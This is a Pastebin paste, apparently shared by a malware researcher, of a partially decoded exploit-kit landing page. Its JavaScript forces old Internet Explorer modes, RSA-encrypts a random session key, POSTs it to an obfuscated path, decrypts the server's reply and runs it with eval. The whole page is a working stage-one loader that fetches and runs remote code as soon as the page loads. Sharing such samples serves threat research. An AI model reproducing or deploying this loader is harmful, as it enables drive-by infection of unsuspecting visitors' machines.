Advertisement
malwareinfosec

partially_decoded

Jul 24th, 2018
1,382
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 3.26 KB | None | 0 0
  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  2. <html xmlns="http://www.w3.org/1999/xhtml">
  3. <head>
  4.     <meta name="renderer" content="ie-comp">
  5.     <meta http-equiv="x-ua-compatible" content="IE=7; IE=8; IE=9; IE=10;">
  6.     <meta http-equiv="x-ua-compatible" content="IE=EmulateIE9">
  7.     <script type="text/javascript" src="/static/encrypt.min.js"></script>
  8.     <script type="text/javascript" src="/static/tinyjs.min.js"></script>
  9. </head>
  10. <body>
  11.     <script type="text/vbscript">
  12.         Function HelloWorld()
  13.         End Function
  14.     </script>
  15.     <script>
  16.         var __trace_nonce = "623288";
  17.         document.cookie = "token=44fbe29c7ddf1257340ec8c451d5cdbd; cn=a7968b4339a1b85b7dbdb362dc44f9c4; " + __trace_nonce;
  18.        
  19. ! function() {
  20.     function t() {
  21.         if (window.XMLHttpRequest) return new XMLHttpRequest;
  22.         if (window.ActiveXObject) {
  23.             try {
  24.                 return new ActiveXObject("Msxml2.XMLHTTP.6.0")
  25.             } catch (t) {}
  26.             try {
  27.                 return new ActiveXObject("Msxml2.XMLHTTP.3.0")
  28.             } catch (t) {}
  29.             try {
  30.                 return new ActiveXObject("Microsoft.XMLHTTP")
  31.             } catch (t) {}
  32.         }
  33.         return !1
  34.     }
  35.     var n = n || {};
  36.  
  37.     function e(t, n, e, r) {
  38.         var i = null;
  39.         if (t && (i = TinyJSLibrary[t]), null != i) try {
  40.            return i.decrypt(n, TinyJSLibrary.MD5(e + r)).toString(TinyJSLibrary.enc.Utf8)
  41.        } catch (t) {}
  42.        return null
  43.    }
  44.  
  45.    function r(r, i, c) {
  46.        var u = __trace_nonce,
  47.            o = n.stringify(r),
  48.            a = new t;
  49.         a.onreadystatechange = function() {
  50.             if (4 == a.readyState && 200 == a.status) {
  51.                var t = n.parse(a.responseText);
  52.                 if (null !== t) {
  53.                     var r = e(a.getResponseHeader("X-Algorithm"), t.value, c, u);
  54.                     null !== r && eval(r)
  55.                }
  56.            }
  57.        }, a.open("POST", i), a.send(o)
  58.    }
  59.    n.stringify = n.stringify || function(t) {
  60.        var e = typeof t;
  61.         if ("object" != e || null === t) return "string" == e && (t = '"' + t + '"'), String(t);
  62.         var r, i, c = [],
  63.             u = t && t.constructor == Array;
  64.         for (r in t) "string" == (e = typeof(i = t[r])) ? i = '"' + i + '"' : "object" == e && null !== i && (i = n.stringify(i)), c.push((u ? "" : '"' + r + '":') + String(i));
  65.         return (u ? "[" : "{") + String(c) + (u ? "]" : "}")
  66.     }, n.parse = n.parse || function(t) {
  67.         return "" === t && (t = '""'), eval("var p=" + t + ";"), p
  68.     };
  69.     var i = Math.random().toString(36).substr(2),
  70.         c = {},
  71.         u = new JSEncrypt;
  72.     u.setPublicKey("-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDbWZY5J1XCehktnqMQpvb4MwrG\nVr9ME8p7+AbiminuPYsSNfVM5jNC2MDFiqzkGjsBDbJaEZLISdZDwd5u4Xa1t38y\nZeuCC77QfHwdrvEKT3g2s7D/fqs9m91qFAy/GmXZDeoSi2r5MurAsFbI/NFsgMk7\n5ShOUHQJTjb0JLtYGQIDAQAB\n-----END PUBLIC KEY-----\n"), c.key = u.encrypt(i), void 0 !== document.documentMode && (c.mode = document.documentMode), r(c, "/rt/uhljrml35mtmsi2dt70haaefs4.html", i)
  73. }();
  74.        
  75.     </script>
  76.     <div id="container"></div>
  77. </body>
  78. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement